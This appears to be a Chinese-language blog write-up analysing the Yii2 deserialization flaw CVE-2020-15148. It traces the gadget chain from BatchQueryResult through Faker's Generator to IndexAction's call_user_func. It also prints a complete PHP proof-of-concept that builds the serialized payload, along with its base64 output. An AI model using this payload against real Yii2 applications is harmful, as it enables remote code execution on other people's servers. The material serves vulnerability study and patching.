Yii2 CVE-2020-15148 链分析 Part 1

环境搭建

漏洞影响版本<2.0.38,这里用37版本进行分析复现

在源码 basic/controllers目录下新建 PocController.php作为漏洞触发入口

1
2
3
4
5
6
7
8
9
10
11
<?php

namespace app\contraollers;

class PocController extends \yii\web\Controller {
// 接收payload
public function actionPoc($data) {
return unserialize(base64_decode($data));
}
}

漏洞分析

链入口位于vender\yiisoft\yii2\db\BatchQueryResult.php 类BatchQueryResult

发现其__destruct() 方法,该方法会调用 reset()方法, 在reset()方法中又执行了代码 $this->_dataReader->close()

1
2
3
4
5
6
7
8
9
10
public function reset() {
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
$this->_dataReader = null;
$this->_batch = null;
$this->_value = null;
$this->_key = null;
}

此时就有两种方法可以使pop链继续:

  1. $this->_dataReader是一个不存在close方法的类,调用不存在的类触发类中__call方法
  2. $this->_dataReader是一个存在close方法的类,其close方法重的代码存在继续rce链的可能

这次使用思路1尝试构造pop链,全局搜索可利用的__call方法。可以发现在vendor/fzaninotto/faker/src/Faker/Generator.php中的类Generator存在可以利用的__call方法,该方法会调用类的format方法.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/**
* @param string $method
* @param array $attributes
*
* @return mixed
*/
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}

public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}

format方法中发现了调用call_user_func_array函数,离rce更进一步。结合getFormatter方法的代码我们可以分析出来,只要类Generator的formatters变量中存在 formatters[‘close’] 即可以通过call_user_func_array(formatters[‘close’], $arguments)调用任意类的任意方法,调用方法只需要设置

1
formatters['close'] = [class name, function name]

因此,我们只需要找到一个可以执行任意命令的类和方法,并且命令执行方法的参数可控即可。无论是eval,assert还是call_user_func均可。很快可以找到在vendor/yiisoft/yii2/rest/IndexAction.php和vendor/yiisoft/yii2/rest/CreateAction.php中,类IndexAction与CreateAction均存在一个run()方法,方法中调用了call_user_func且参数可控。到这里完整的pop链就完成了。

1
2
3
4
5
6
7
8
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}

return $this->prepareDataProvider();
}

整个链为:
BatchQueryResult->__destrcut => BatchQueryResult->reset => Generator->__call => Generator->format => call_user_func_array => IndexAction->run => call_user_func

poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php

namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct()
{
$this->checkAccess = 'phpinfo';
$this->id = '1'; // rce
}
}
}

namespace Faker{
use yii\rest\IndexAction;

class Generator{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new IndexAction(),'run'];
}
}
}

namespace yii\db{
use Faker\Generator;

class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader = new Generator();
}
}

}

namespace {
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}

1
2
$ php controllers/poc4.php                                                            130 ⨯
TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo3OiJwaHBpbmZvIjtzOjI6ImlkIjtzOjE6IjEiO31pOjE7czozOiJydW4iO319fX0=

Yii2 CVE-2020-15148 链分析 Part 1
http://example.com/2022/09/23/Yii2-CVE-2020-15148-链分析-Part-1/
Author
fuzzingq
Posted on
September 23, 2022
Licensed under